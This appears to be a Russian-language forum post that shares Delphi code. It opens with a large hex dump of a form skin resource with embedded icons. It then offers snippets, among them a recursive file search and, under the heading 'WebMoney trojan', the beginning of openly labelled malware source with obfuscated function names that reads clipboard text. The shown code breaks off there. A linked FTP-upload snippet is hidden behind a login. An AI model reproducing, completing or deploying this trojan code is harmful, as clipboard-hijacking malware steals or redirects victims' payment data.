              03EAB975F77E852DFC5BC5230624B3EDF172D4C318C3716398393FC20CB397B6
              1F43CACCCEC50EBBC9186A403D58C42726BBC9186A403DB109495722A28A4AF4
              FA32838A083478C11735A09EF8A494629DBEAAAA5A75E4247C5103EAE11923CC
              9A658C61F632F76358C627A5263F48335BAC2AAE5DC00BBEA8812ABC732FC6F6
              F6924A368197DC7A112766092FF8A206AAEA874BD72E5CB906744B747A57052F
              F8A206AAEA7E5C62718980993AC11735B08306C6782939CE4EAEC1BE04FD5804
              65D00DE130DEBE17E3AAE0055FBECED487E991376F5FBA7ADD55C10BBE7C55F7
              62E28E9F3AB7F7E0D13D078E2817ECE1055FBEAAA4D4B4FBF149EA045FF70FF5
              4BCB58FBBB085A5D2F3C638BE3BDE977935DBDB5D7A6E4E83EA3BAF958D4AD7B
              677EB8AC5A706FB986F3AAB0011C5E1C647C9769292B59037C8C8B4F4E484E7D
              9896999B57905F50E492E00247B8A31269CDCEF78724FBD245158CB17ECC8BE4
              5D63250E2F8E3389DAAEA8A80462858E94909472373A26372F3F2FBF50B5E08E
              4A5055B39BA3BD12ED98268CB17EECEB751BBD42C2FFD8D0F86FCA6AEBE1532E
              A90518C3A1666267917CA15409892931B109EED0C50B55A142E75B94DD316DFB
              31341FD9B46589182BD0958A448C49CB09A7E44759D272E7844C9B315324A94D
              B78F7A8A246A0E1C6D97949D931B1397909D9BAFA1840A73725DDD9376C68AF5
              65221163D272C698B4DC395DA2CB4A104F1A11C5DF0724F1A46197E8982BD783
              87E9A0E2714E9E864285A8D6D53D71CE18354A61B10E35C725243325A7A609FF
              424EEE0BC058A9D1241231262D678C49CB9D3026058C61C6189302C63053CD18
              DA0867F9DA32860A51ADB68C198CE589C90FEEC7C5A3F2ACC7B9506656CEE36C
              615BD4736280F652C668CE8FDD369A2D221163D272C698B4BC59C0EEC5C432F1
              98F1808DE1920833156325BA02B414B59A564285A856C3B1126B63E292A263E3
              1FA667A6673C8684D75B65E508DBB2F79CC23C3029859FF3B73A42AEF66316AB
              5524624C5ACE1893963B670C5C15738961C63306AE781B861963CCD57F1330A0
              B13417AA75754F9C3096909C0A84D21E65418E18C3E906CE6AE3E293BD97316B
              559548C498B49C31262D6F9B8CA1A554BC25CF8950A1B68CC527A4105ACE19CB
              CDCB078D5EC7181B2BA5CFE41263D272C698B4BC0518AB74311163D4705A8918
              73754F9C33467439670C7A9896E9758CB17EACEE49BD48C498B49C31262D6F83
              8CE1A40CD3666D194385A85643C6D2D2331532969B57E0BD8C4983EA89316939
              634CA49699F3BBFA0AA0C2621D4ED61EDA1A5113A12A54886A5DDD13278C3D54
              CC587E41911732D638567AF43ABF86D72E6A5D4CF84F13931FE0948D359F7B3D
              5816AA4285A8D6D53D79891993A7425B69780D966F357A91545D5D7D5D5D9D13
              C60CC6F298B8249CB85123AA16DC5109AA42854E58AA13523DED5B3B632DC618
              4F9A9BF792642369D198CE436D0D4613CEC830B51666D7E9990F5D145CC81795
              341BD6EB28B533E6157A51E3C7DA1953A4067155376FDD86F89257DF7813E24B
              A40F5C287904A3C1F10452240D1D3DA7179EB1C6F8B1068790C872224245E5B1
              BD751BF5F050494B64151B9F74FB6E4C764E5E615109945F58942FFC24653189
              0AB11636A29F31C5C7BBF7620B0B8BE937C46585B5B091FEFE693B635EDA8F89
              0C644B44BA1F131F1397A0D39795E84A8B8518ADD2127DA9B0B47DA4125AC286
              FF31539B63626999C179C0AA2DA855F8995DD95F416D67AC3519538B1949E110
              89837F3F360118D05DE6D232237FD3191FA98495C3F2BEED745238258C4B809F
              C96892CA68135F62C32C81FF2DD48E3EDD65765B5228FB63E5C67213BD57ADDE
              F69BD195955566B30542F9CBC09806B1D63C5A7402C5A145791E2DD9DE4CC910
              09C5C427E51514B2681943D3E01983BD842F873DFD786E6151B1C3DF69B24954
              28FCA6B37DC4044B1D831E76ECF25113C0BA7C241436C50C80B13706331163B2
              E52F03631AF463D29374FB448E89CDE21C4DE79A1D225B97B1E744D931137DE4
              19931E10624CB6BC9D31359871DD17DFA13901AC49E7E0B4378B88BC693495B3
              C1D1D83440CB682FE1CB610F2F88FFB90A912A6D1215C21E5E321D57D79E82E4
              006B681F2B1D31D6D00C24B29C68726A29EDCD9C0F9A97AE5CE7FF054BD3FFC8
              622F1195C30BAAA969FE17819BA8A6065EE2AF00E89A9427A86B4FD93D6C1F2B
              9B678C6B6EE9B50B8F02C6B6EB64EDE5AB91F453AACA19833DBCA0DADA5A97DE
              DF0E7B78A9604C664C343A182B8D2F05638DBF5CD614307E4E25EA644480790E
              3659DDB875AFA0B04818CB6C4352F3AAAC823DBC209D4EFFECD933852FD68625
              EC6F347D985AF95849B40B43B66D72488CC98C952F0763B2803534882F3B484F
              0F1B1C5F88782119533EE79719138D0EC6CA978AB1A680116322C0883111602D
              CC58726A5A746CBCA5A2827F711392A3773AC112F6F022474CB114BE901696E4
              D848942BD72E548C952F768C6293EB636D6962E648F7EEC7DD8D89B35AAB6A9D
              FE721CD6C20696B0678ED131F1757575CDBE640F36B0648E0C33E9CE38BA06EB
              EA58F932C45A8B01B317B6CAD965B3BA7D57788D9E5E5F660B1E7B525B5B6747
              0B1900F20479BDED46122C79C75B364783012DDEF8E63D1E2D7C4439D6C2E656
              53478FEAE68BFECC480BCCC74431872A0CE4DA25BAEDC45D18CB4D4D646C2AA7
              6B1B5E9267DF78CC1A9A304698492FD737289E8F09CC344D228A9A35705559D9
              B9E72E5E3970E4C4FEC3C749C89358092F94C31E5EAAB75866300ABF35D9F03C
              63E0321813292F9B69B0075EBAFA0CEFB41933DFFFE8230D454F5574EAEAABA1
              1A434C9BA2A56EA04C7A94A510301145CD1AB8AAD4878F4E9EF9A1B844C7BF87
              D6F99B69510E7B78C1B7151973F55D0440A25397AE1A8A18FBCB3BEF6A2862EC
              F99CBF296022CCF842690F76EADC45E580318A78830EF6E42666E72E5CC97C9C
              ED64BB8E12BCE0AB8E3183D1D448943D63E43298E1535E36C318A3470F94BF53
              054874F6EDA6A188B1BF767A4F4369D88FB9D4894919EBD034F18CA18704C00A
              05630C7C4653B90AC6E0055F758C818DC67EC99EB170199C48525E36C33356EB
              CABBA104243EF850431163EFBCD759433D678C47CB9EDC9F8F69C218C8292933
              2A148C31BF2AC700E47A82177C3DC1587D7D3DE56533EE30F641AF8F3554E37C
              CCA78B867A3E5632C0B841D3FDF34AAD18D3198C0AD55A8CD1B57D54229BA12B
              FC0DC28511998CAB8CF173FE8FFBF6D550C458E7AEBE1AAAC958E90169321F03
              36D217A039522B32E644CE6F5AB9D38FF5F9B4BF8622C6BA747F5F434919D3FC
              FDC3EE9F570A8C99CC0AD55A8CB929D5FDD8A70307692862CCB7C7071A4AC4D8
              F39EC4C398B9747DAC9D3127FDD8A0A1C3341431F6BEA6E21913CF88B4C64CF5
              757E606328372BD4CBC6D8B091A3341431A6ED79049BF3CB2615F0483971DF00
              D8485F16EA482F1B6323C78CD150C4D8479FF4D650AC1F73CE98A37225537AD1
              349E12158AE6FCB2351063264B8542BD0C8CF1F331BF80000D458CF5EADB4F43
              2961CCC92AE58CF198B112C698FC2638C6CA2B2A14EA65608CEFC7C68E1FAFA1
              88B14F3EEDAFA19A1D2B1DADA2B50A2F4DF0D888106A67CCCD7E6CFCC4491A8A
              18EB3360A08672DE8F359BDCBFC4AA9031E98BB51DE965608CFF4DAE49534327
              4E0ED144A88AEA0415FD060ED244CFDFEBD520332636381E289981FB97581532
              267DB1B623B50A63E1B6D42A8C854C9B1E123A4D1B4D9BCE18FB74F0104D2462
              ACC1C1F5314780B9C4989BFD582B3226E5475482FC005B720733D58C4153C2C2
              A64E7757A884DF1FB0D17FC85037D5E4E5840DCF2BEF2077C9421630E58CF1D8
              8810F204631AC65D48F91195B08F6E62E60E635068F80C68CEFC052A44BED25D
              A23758FA8D1BAF42D2B75F12634D6EEED03FCEBD148532FC4B51143226EABB78
              A29433565553A35030D62A7E4CCA8F5644B9C998A3DFC10C0D9BA142CE774CFA
              DE542592A9CADE9AECCA279644111FDBC3E279A8A4F18D01CA1813AD1231E6A4
              06158CA53C4C3F7EFA7C465636FA25476F50110996B087177CB5C2C625B9FA02
              5247EFFC6CBB125A5DA61F63BD96B41F63252D709DDFD518C5065BB8F5B90B97
              1D45EFCBC7F35FB8AC3AD0BA5DCD0B8B0EFF1B79932B6D0B000000476C6F7742
              746E2E706E67890D0000789C01890D76F289504E470D0A1A0A0000000D494844
              520000002E000000260806000000BBEAA95A000000097048597300000B130000
              0B1301009A9C1800000A4F6943435050686F746F73686F70204943432070726F
              66696C65000078DA9D53675453E9163DF7DEF4424B8880944B6F521508205242
              8B801491262A2109104A8821A1D91551C1114545041BC8A088038E8E808C1551
              2C0C8A0AD807E421A28E83A3888ACAFBE17BA36BD6BCF7E6CDFEB5D73EE7ACF3
              9DB3CF07C0080C9648335135800CA9421E11E083C7C4C6E1E42E40810A247000
              1008B3642173FD230100F87E3C3C2B22C007BE000178D30B0800C04D9BC0301C
              87FF0FEA42995C01808401C07491384B08801400407A8E42A600404601809D98
              265300A0040060CB6362E300502D0060277FE6D300809DF8997B01005B942115
              01A09100201365884400683B00ACCF568A450058300014664BC43900D82D0030
              4957664800B0B700C0CE100BB200080C00305188852900047B0060C823237800
              8499001446F2573CF12BAE10E72A00007899B23CB9243945815B082D71075757
              2E1E28CE49172B14366102619A402EC27999193281340FE0F3CC0000A0911511
              E083F3FD78CE0EAECECE368EB60E5F2DEABF06FF226262E3FEE5CFAB70400000
              E1747ED1FE2C2FB31A803B06806DFEA225EE04685E0BA075F78B66B20F40B500
              A0E9DA57F370F87E3C3C45A190B9D9D9E5E4E4D84AC4425B61CA577DFE67C25F
              C057FD6CF97E3CFCF7F5E0BEE22481325D814704F8E0C2CCF44CA51CCF920984
              62DCE68F47FCB70BFFFC1DD322C44962B9582A14E35112718E449A8CF332A522
              89429229C525D2FF64E2DF2CFB033EDF3500B06A3E017B912DA85D6303F64B27
              105874C0E2F70000F2BB6FC1D4280803806883E1CF77FFEF3FFD47A025008066
              49927100005E44242E54CAB33FC708000044A0812AB0411BF4C1182CC0061CC1
              05DCC10BFC6036844224C4C24210420A64801C726029AC82422886CDB01D2A60
              2FD4401D34C051688693700E2EC255B80E3D700FFA61089EC128BC81090441C8
              08136121DA8801628A58238E08179985F821C14804128B2420C9881451224B91
              354831528A542055481DF23D720239875C46BA913BC8003282FC86BC47319481
              B2513DD40CB543B9A8371A8446A20BD06474319A8F16A09BD072B41A3D8C36A1
              E7D0AB680FDA8F3E43C730C0E8180733C46C302EC6C342B1382C099363CBB122
              AC0CABC61AB056AC03BB89F563CFB17704128145C0093604774220611E414858
              4C584ED848A8201C243411DA093709038451C2272293A84BB426BA11F9C41862
              32318758482C23D6128F132F107B8843C437241289433227B9900249B1A454D2
              12D246D26E5223E92CA99B34481A2393C9DA646BB20739942C202BC885E49DE4
              C3E433E41BE421F25B0A9D624071A4F853E22852CA6A4A19E510E534E5066598
              324155A39A52DDA8A15411358F5A42ADA1B652AF5187A81334759A39CD831649
              4BA5ADA295D31A681768F769AFE874BA11DD951E4E97D057D2CBE947E897E803
              F4770C0D861583C7886728199B18071867197718AF984CA619D38B19C7543037
              31EB98E7990F996F55582AB62A7C1591CA0A954A9526951B2A2F54A9AAA6AADE
              AA0B55F355CB548FA95E537DAE46553353E3A909D496AB55AA9D50EB531B5367
              A93BA887AA67A86F543FA47E59FD890659C34CC34F43A451A0B15FE3BCC6200B
              6319B3782C216B0DAB86758135C426B1CDD97C762ABB98FD1DBB8B3DAAA9A139
              43334A3357B352F394663F07E39871F89C744E09E728A797F37E8ADE14EF29E2
              291BA6344CB931655C6BAA96979658AB48AB51AB47EBBD36AEEDA79DA6BD45BB
              59FB810E41C74A275C2747678FCE059DE753D953DDA70AA7164D3D3AF5AE2EAA
              6BA51BA1BB4477BF6EA7EE989EBE5E809E4C6FA7DE79BDE7FA1C7D2FFD54FD6D
              FAA7F5470C5806B30C2406DB0CCE183CC535716F3C1D2FC7DBF151435DC34043
              A561956197E18491B9D13CA3D5468D460F8C69C65CE324E36DC66DC6A3260626
              21264B4DEA4DEE9A524DB9A629A63B4C3B4CC7CDCCCDA2CDD699359B3D31D732
              E79BE79BD79BDFB7605A785A2CB6A8B6B86549B2E45AA659EEB6BC6E855A3959
              A558555A5DB346AD9DAD25D6BBADBBA711A7B94E934EAB9ED667C3B0F1B6C9B6
              A9B719B0E5D806DBAEB66DB67D6167621767B7C5AEC3EE93BD937DBA7D8DFD3D
              070D87D90EAB1D5A1D7E73B472143A563ADE9ACE9CEE3F7DC5F496E92F6758CF
              10CFD833E3B613CB29C4699D539BD347671767B97383F3888B894B82CB2E973E
              2E9B1BC6DDC8BDE44A74F5715DE17AD2F59D9BB39BC2EDA8DBAFEE36EE69EE87
              DC9FCC349F299E593373D0C3C843E051E5D13F0B9F95306BDFAC7E4F434F8167
              B5E7232F632F9157ADD7B0B7A577AAF761EF173EF63E729FE33EE33C37DE32DE
              595FCC37C0B7C8B7CB4FC36F9E5F85DF437F23FF64FF7AFFD100A78025016703
              898141815B02FBF87A7C21BF8E3F3ADB65F6B2D9ED418CA0B94115418F82AD82
              E5C1AD2168C8EC90AD21F7E798CE91CE690E85507EE8D6D00761E6618BC37E0C
              2785878557863F8E7088581AD131973577D1DC4373DF44FA449644DE9B67314F
              39AF2D4A352A3EAA2E6A3CDA37BA34BA3FC62E6659CCD5589D58496C4B1C392E
              2AAE366E6CBEDFFCEDF387E29DE20BE37B17982FC85D7079A1CEC2F485A716A9
              2E122C3A96404C884E3894F041102AA8168C25F21377258E0A79C21DC267222F
              D136D188D8435C2A1E4EF2482A4D7A92EC91BC357924C533A52CE5B98427A990
              BC4C0D4CDD9B3A9E169A76206D323D3ABD31839291907142AA214D93B667EA67
              E66676CBAC6585B2FEC56E8BB72F1E9507C96BB390AC05592D0AB642A6E8545A
              28D72A07B267655766BFCD89CA3996AB9E2BCDEDCCB3CADB90379CEF9FFFED12
              C212E192B6A5864B572D1D58E6BDAC6A39B23C7179DB0AE315052B865606AC3C
              B88AB62A6DD54FABED5797AE7EBD267A4D6B815EC1CA82C1B5016BEB0B550AE5
              857DEBDCD7ED5D4F582F59DFB561FA869D1B3E15898AAE14DB1797157FD828DC
              78E51B876FCABF99DC94B4A9ABC4B964CF66D266E9E6DE2D9E5B0E96AA97E697
              0E6E0DD9DAB40DDF56B4EDF5F645DB2F97CD28DBBB83B643B9A3BF3CB8BC65A7
              C9CECD3B3F54A454F454FA5436EED2DDB561D7F86ED1EE1B7BBCF634ECD5DB5B
              BCF7FD3EC9BEDB5501554DD566D565FB49FBB3F73FAE89AAE9F896FB6D5DAD4E
              6D71EDC703D203FD07230EB6D7B9D4D51DD23D54528FD62BEB470EC71FBEFE9D
              EF772D0D360D558D9CC6E223704479E4E9F709DFF71E0D3ADA768C7BACE107D3
              1F761D671D2F6A429AF29A469B539AFB5B625BBA4FCC3ED1D6EADE7AFC47DB1F
              0F9C343C59794AF354C969DAE982D39367F2CF8C9D959D7D7E2EF9DC60DBA2B6
              7BE763CEDF6A0F6FEFBA1074E1D245FF8BE73BBC3BCE5CF2B874F2B2DBE51357
              B8579AAF3A5F6DEA74EA3CFE93D34FC7BB9CBB9AAEB95C6BB9EE7ABDB57B66F7
              E91B9E37CEDDF4BD79F116FFD6D59E393DDDBDF37A6FF7C5F7F5DF16DD7E7227
              FDCECBBBD97727EEADBC4FBC5FF440ED41D943DD87D53F5BFEDCD8EFDC7F6AC0
              77A0F3D1DC47F7068583CFFE91F58F0F43058F998FCB860D86EB9E383E3939E2
              3F72FDE9FCA743CF64CF269E17FEA2FECBAE17162F7EF8D5EBD7CED198D1A197
              F29793BF6D7CA5FDEAC0EB19AFDBC6C2C61EBEC97833315EF456FBEDC177DC77
              1DEFA3DF0F4FE47C207F28FF68F9B1F553D0A7FB93199393FF040398F3FC6333
              2DDB000000206348524D00007A25000080830000F9FF000080E9000075300000
              EA6000003A980000176F925FC546000002B44944415478DAD4596D76E3200C94
              8026CDA97AA1F6343DD19E2A75ECC0FE01BFC944C2DE1F265BBDC78392148FC6
              425FD1F2292CBA73E6B574F68BF3BD62ACEDF9BB3C9CA1009C0129ADADBDBD8A
              6C01E575713E5F1568C02D56710467AD0EE02DC62DA0D959178BFDE498483066
              1EEABC0D3ECF025D0CD03894146873DB9764BC6A0B6484D153620FE31ED82C22
              77184D815CFF2FAFE77CA926320D0F6CAA23C21C0DF03D3BC7D76D815D605E60
              1FA529519263CF08F80D468239FD03F81EE806748639D499CF58CF4D8E9934D0
              A70AF4242267FA3BC108CEA515E7126600BC88C8AD02BD39A6F774517B8C3796
              DF2BE8369F418944A6B307F89D98BE89C854079260DD87F5ECD4611B99BED078
              AF9F9DC074023D94BD4A26B61BC33711F911912B282FE45132BBC8E4B0DD8037
              A62F22F2478E906FF2965FFA41802D4F637A954836DE181F251730A5993CD86A
              2AE809F055A3377905F03379B227330C8E1F67C6CF0381F3E58F56A00B466E12
              28E8BCBD00B8152BD433952DEF324AD0534523B899A662994CA44075B4582985
              5A8C8B039EBDCC28898E793C04B6D0A95E7A29EB91A23BF27D13F8AF90B0917E
              96A7D2E978F12B1F07B857995879F19182E1BD78040607B495E48F9285C09BF5
              6730CA2A4EF25B16374A6E505430F8156770127DAE4CA681C02700BE3866E326
              EC7723C91F097CAACF5E1C937930152BD16F6C5F0702BF02EB8D79C4B616CBE2
              7891C6781A1C39AF06E36C2EA2E5730DAF116A4D4C672F034B371E6836332A91
              C89B28B08D5D2C8142B799CF11C5F2549598B6BC4B32226506804A6CE1838E6A
              4F20E8D90B46C9F0E14A91121F3857D3980E6E08CD5BBE3C3901488CBD7B053A
              0F6EC175192FD49BF322698416D988A66776FA2A2BE36A306E05A5516DE6ECB4
              99C5EA8F17EA4BABB3F7FAC63ED4920F4D734719858BFBF29F529271504F81FF
              E6C7ABBF030005310E848FAAA6D20000000049454E44AE42608248206E8F0C00
              0000476C6F77456469742E706E67C40B0000789C01C40B3BF489504E470D0A1A
              0A0000000D494844520000001200000012080600000056CE8E57000000097048
              597300000B1300000B1301009A9C1800000A4F6943435050686F746F73686F70
              204943432070726F66696C65000078DA9D53675453E9163DF7DEF4424B888094
              4B6F5215082052428B801491262A2109104A8821A1D91551C1114545041BC8A0
              88038E8E808C15512C0C8A0AD807E421A28E83A3888ACAFBE17BA36BD6BCF7E6
              CDFEB5D73EE7ACF39DB3CF07C0080C9648335135800CA9421E11E083C7C4C6E1
              E42E40810A2470001008B3642173FD230100F87E3C3C2B22C007BE000178D30B
              0800C04D9BC0301C87FF0FEA42995C01808401C07491384B08801400407A8E42
              A600404601809D98265300A0040060CB6362E300502D0060277FE6D300809DF8
              997B01005B94211501A09100201365884400683B00ACCF568A45005830001466
              4BC43900D82D00304957664800B0B700C0CE100BB200080C0030518885290004
              7B0060C8232378008499001446F2573CF12BAE10E72A00007899B23CB9243945
              815B082D710757572E1E28CE49172B14366102619A402EC27999193281340FE0
              F3CC0000A0911511E083F3FD78CE0EAECECE368EB60E5F2DEABF06FF226262E3
              FEE5CFAB70400000E1747ED1FE2C2FB31A803B06806DFEA225EE04685E0BA075
              F78B66B20F40B500A0E9DA57F370F87E3C3C45A190B9D9D9E5E4E4D84AC4425B
              61CA577DFE67C25FC057FD6CF97E3CFCF7F5E0BEE22481325D814704F8E0C2CC
              F44CA51CCF92098462DCE68F47FCB70BFFFC1DD322C44962B9582A14E3511271
              8E449A8CF332A52289429229C525D2FF64E2DF2CFB033EDF3500B06A3E017B91
              2DA85D6303F64B27105874C0E2F70000F2BB6FC1D4280803806883E1CF77FFEF
              3FFD47A02500806649927100005E44242E54CAB33FC708000044A0812AB0411B
              F4C1182CC0061CC105DCC10BFC6036844224C4C24210420A64801C726029AC82
              422886CDB01D2A602FD4401D34C051688693700E2EC255B80E3D700FFA61089E
              C128BC81090441C808136121DA8801628A58238E08179985F821C14804128B24
              20C9881451224B91354831528A542055481DF23D720239875C46BA913BC80032
              82FC86BC47319481B2513DD40CB543B9A8371A8446A20BD06474319A8F16A09B
              D072B41A3D8C36A1E7D0AB680FDA8F3E43C730C0E8180733C46C302EC6C342B1
              382C099363CBB122AC0CABC61AB056AC03BB89F563CFB17704128145C0093604
              774220611E4148584C584ED848A8201C243411DA093709038451C2272293A84B
              B426BA11F9C4186232318758482C23D6128F132F107B8843C437241289433227
              B9900249B1A454D212D246D26E5223E92CA99B34481A2393C9DA646BB2073994
              2C202BC885E49DE4C3E433E41BE421F25B0A9D624071A4F853E22852CA6A4A19
              E510E534E5066598324155A39A52DDA8A15411358F5A42ADA1B652AF5187A813
              34759A39CD8316494BA5ADA295D31A681768F769AFE874BA11DD951E4E97D057
              D2CBE947E897E803F4770C0D861583C7886728199B18071867197718AF984CA6
              19D38B19C754303731EB98E7990F996F55582AB62A7C1591CA0A954A9526951B
              2A2F54A9AAA6AADEAA0B55F355CB548FA95E537DAE46553353E3A909D496AB55
              AA9D50EB531B5367A93BA887AA67A86F543FA47E59FD890659C34CC34F43A451
              A0B15FE3BCC6200B6319B3782C216B0DAB86758135C426B1CDD97C762ABB98FD
              1DBB8B3DAAA9A13943334A3357B352F394663F07E39871F89C744E09E728A797
              F37E8ADE14EF29E2291BA6344CB931655C6BAA96979658AB48AB51AB47EBBD36
              AEEDA79DA6BD45BB59FB810E41C74A275C2747678FCE059DE753D953DDA70AA7
              164D3D3AF5AE2EAA6BA51BA1BB4477BF6EA7EE989EBE5E809E4C6FA7DE79BDE7
              FA1C7D2FFD54FD6DFAA7F5470C5806B30C2406DB0CCE183CC535716F3C1D2FC7
              DBF151435DC34043A561956197E18491B9D13CA3D5468D460F8C69C65CE324E3
              6DC66DC6A326062621264B4DEA4DEE9A524DB9A629A63B4C3B4CC7CDCCCDA2CD
              D699359B3D31D732E79BE79BD79BDFB7605A785A2CB6A8B6B86549B2E45AA659
              EEB6BC6E855A3959A558555A5DB346AD9DAD25D6BBADBBA711A7B94E934EAB9E
              D667C3B0F1B6C9B6A9B719B0E5D806DBAEB66DB67D6167621767B7C5AEC3EE93
              BD937DBA7D8DFD3D070D87D90EAB1D5A1D7E73B472143A563ADE9ACE9CEE3F7D
              C5F496E92F6758CF10CFD833E3B613CB29C4699D539BD347671767B97383F388
              8B894B82CB2E973E2E9B1BC6DDC8BDE44A74F5715DE17AD2F59D9BB39BC2EDA8
              DBAFEE36EE69EE87DC9FCC349F299E593373D0C3C843E051E5D13F0B9F95306B
              DFAC7E4F434F8167B5E7232F632F9157ADD7B0B7A577AAF761EF173EF63E729F
              E33EE33C37DE32DE595FCC37C0B7C8B7CB4FC36F9E5F85DF437F23FF64FF7AFF
              D100A78025016703898141815B02FBF87A7C21BF8E3F3ADB65F6B2D9ED418CA0
              B94115418F82AD82E5C1AD2168C8EC90AD21F7E798CE91CE690E85507EE8D6D0
              0761E6618BC37E0C2785878557863F8E7088581AD131973577D1DC4373DF44FA
              449644DE9B67314F39AF2D4A352A3EAA2E6A3CDA37BA34BA3FC62E6659CCD558
              9D58496C4B1C392E2AAE366E6CBEDFFCEDF387E29DE20BE37B17982FC85D7079
              A1CEC2F485A716A92E122C3A96404C884E3894F041102AA8168C25F21377258E
              0A79C21DC267222FD136D188D8435C2A1E4EF2482A4D7A92EC91BC357924C533
              A52CE5B98427A990BC4C0D4CDD9B3A9E169A76206D323D3ABD31839291907142
              AA214D93B667EA67E66676CBAC6585B2FEC56E8BB72F1E9507C96BB390AC0559
              2D0AB642A6E8545A28D72A07B267655766BFCD89CA3996AB9E2BCDEDCCB3CADB
              90379CEF9FFFED12C212E192B6A5864B572D1D58E6BDAC6A39B23C7179DB0AE3
              15052B865606AC3CB88AB62A6DD54FABED5797AE7EBD267A4D6B815EC1CA82C1
              B5016BEB0B550AE5857DEBDCD7ED5D4F582F59DFB561FA869D1B3E15898AAE14
              DB1797157FD828DC78E51B876FCABF99DC94B4A9ABC4B964CF66D266E9E6DE2D
              9E5B0E96AA97E6970E6E0DD9DAB40DDF56B4EDF5F645DB2F97CD28DBBB83B643
              B9A3BF3CB8BC65A7C9CECD3B3F54A454F454FA5436EED2DDB561D7F86ED1EE1B
              7BBCF634ECD5DB5BBCF7FD3EC9BEDB5501554DD566D565FB49FBB3F73FAE89AA
              E9F896FB6D5DAD4E6D71EDC703D203FD07230EB6D7B9D4D51DD23D54528FD62B
              EB470EC71FBEFE9DEF772D0D360D558D9CC6E223704479E4E9F709DFF71E0D3A
              DA768C7BACE107D31F761D671D2F6A429AF29A469B539AFB5B625BBA4FCC3ED1
              D6EADE7AFC47DB1F0F9C343C59794AF354C969DAE982D39367F2CF8C9D959D7D
              7E2EF9DC60DBA2B67BE763CEDF6A0F6FEFBA1074E1D245FF8BE73BBC3BCE5CF2
              B874F2B2DBE51357B8579AAF3A5F6DEA74EA3CFE93D34FC7BB9CBB9AAEB95C6B
              B9EE7ABDB57B66F7E91B9E37CEDDF4BD79F116FFD6D59E393DDDBDF37A6FF7C5
              F7F5DF16DD7E7227FDCECBBBD97727EEADBC4FBC5FF440ED41D943DD87D53F5B
              FEDCD8EFDC7F6AC077A0F3D1DC47F7068583CFFE91F58F0F43058F998FCB860D
              86EB9E383E3939E23F72FDE9FCA743CF64CF269E17FEA2FECBAE17162F7EF8D5
              EBD7CED198D1A197F29793BF6D7CA5FDEAC0EB19AFDBC6C2C61EBEC97833315E
              F456FBEDC177DC771DEFA3DF0F4FE47C207F28FF68F9B1F553D0A7FB93199393
              FF040398F3FC63332DDB000000206348524D00007A25000080830000F9FF0000
              80E9000075300000EA6000003A980000176F925FC546000000EF4944415478DA
              CC945B0AC23014444FD2882FF043B7E64A741DEEC4D5093E4A4DE3CFDC1082B6
              2A7E3870E963EE1DA6E9242EED30B8AA8690721D5202F0223C108019B0502D5F
              94F13320B0771E0D7BA011B1D4B579E1CC9C44E0069C811B7B4750C344226B60
              054C0BB7357AA0054E7A8E402C1D4D25B201E67AF70C11B8EAFEAC3E1F8A850E
              129B03C791C5DEAA37D8E7FBEA8FF90127251AF5BA5A88377EF933E419CF8FF0
              DF42E98BF9540B59627BE5640C51BD3697939D80BB127B554EC602D96A260B99
              8B32F6EF6E91D6DC99A34E7107B87CB869BBD21122A2C8A133A914EB80C82165
              477D417E75B03D060043F251B9724C11150000000049454E44AE426082A93096
              25}
          end>
        MenuSupport.IcoLineSkin = 'ICOLINE'
        MenuSupport.ExtraLineFont.Charset = DEFAULT_CHARSET
        MenuSupport.ExtraLineFont.Color = clWindowText
        MenuSupport.ExtraLineFont.Height = -11
        MenuSupport.ExtraLineFont.Name = 'MS Sans Serif'
        MenuSupport.ExtraLineFont.Style = []
        SkinDirectory = 'c:\Skins'
        SkinName = 'Ubuntu (internal)'
        SkinInfo = '8'
        ThirdParty.ThirdEdits = ' '
        ThirdParty.ThirdButtons = 'TButton'
        ThirdParty.ThirdBitBtns = ' '
        ThirdParty.ThirdCheckBoxes = ' '
        ThirdParty.ThirdGroupBoxes = ' '
        ThirdParty.ThirdListViews = ' '
        ThirdParty.ThirdPanels = ' '
        ThirdParty.ThirdGrids = ' '
        ThirdParty.ThirdTreeViews = ' '
        ThirdParty.ThirdComboBoxes = ' '
        ThirdParty.ThirdWWEdits = ' '
        ThirdParty.ThirdVirtualTrees = ' '
        ThirdParty.ThirdGridEh = ' '
        ThirdParty.ThirdPageControl = ' '
        ThirdParty.ThirdTabControl = ' '
        ThirdParty.ThirdToolBar = ' '
        ThirdParty.ThirdStatusBar = ' '
        ThirdParty.ThirdSpeedButton = ' '
        ThirdParty.ThirdScrollControl = ' '
        ThirdParty.ThirdUpDown = ' '
        ThirdParty.ThirdScrollBar = ' '
        ThirdParty.ThirdStaticText = 'TStaticText'
        Left = 464
        Top = 8
      end
    end
    
    фак, открыл старый проект заразился индюком:ej
    --- добавлено: 10 янв 2015 в 07:42 ---
    Ни одного реального кода:

    Отправка файла на ФТП, подклюаем WinInet



    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!


    Рекурсивный поиск файлов
    Код:
    var
      Form1: TForm1;
      count:integer;
    
    implementation
    
    {$R *.dfm}
    procedure GetAllFiles(mask: string);
    var
      search: TSearchRec;
      directory: string;
    begin
      directory := ExtractFilePath(mask);
    if FindFirst(mask, $23, search) = 0 then
      begin
        repeat
          Form1.Memo1.Lines.Add(directory + search.Name);
    
          Inc(Count);
        until FindNext(search) <> 0;
      end;
    if FindFirst(directory + '*.*', faDirectory, search) = 0 then
      begin
        repeat
          if ((search.Attr and faDirectory) = faDirectory) and (search.Name[1] <> '.') then
            GetAllFiles(directory + search.Name + '\' + ExtractFileName(mask));
        until FindNext(search) <> 0;
        FindClose(search);
      end;
    end;
    
    procedure TForm1.Button1Click(Sender: TObject);
    var
      directory: string;
      mask: string;
    begin
      Count := 0;
    
      directory := edit2.text;
      mask := edit1.text;
    
      Screen.Cursor := crHourGlass;
      try
        GetAllFiles(directory + mask);
      finally
        Screen.Cursor := crDefault;
      end;
      ShowMessage(IntToStr(Count) + ' Files found');
    end;
    
    Вебмани троян
    Код:
    Program KNoW_Engine;
    
    uses
      windows;
    
    var
    a,b:longword;
    
    
    Function ZH3HDJ43FHhHJHhkhk8ghk:THandle; //Инициализация читания текста из буфера
    begin
    OpenClipboard(0);
    Result := GetClipboardData(CF_TEXT);
    end;
    
    function GHGG770f7T69frfgJH8TT8: string; //Читание текста из буфера
    var
      Data: THandle;
    begin
    Data :=ZH3HDJ43FHhHJHhkhk8ghk;
      try
        if Data <> 0 then
          Result := PChar(GlobalLock(Data))
        else
          Result := '';
      finally
        if Data <> 0 then GlobalUnlock(Data);
        CloseClipboard;
      end;
    end;
    
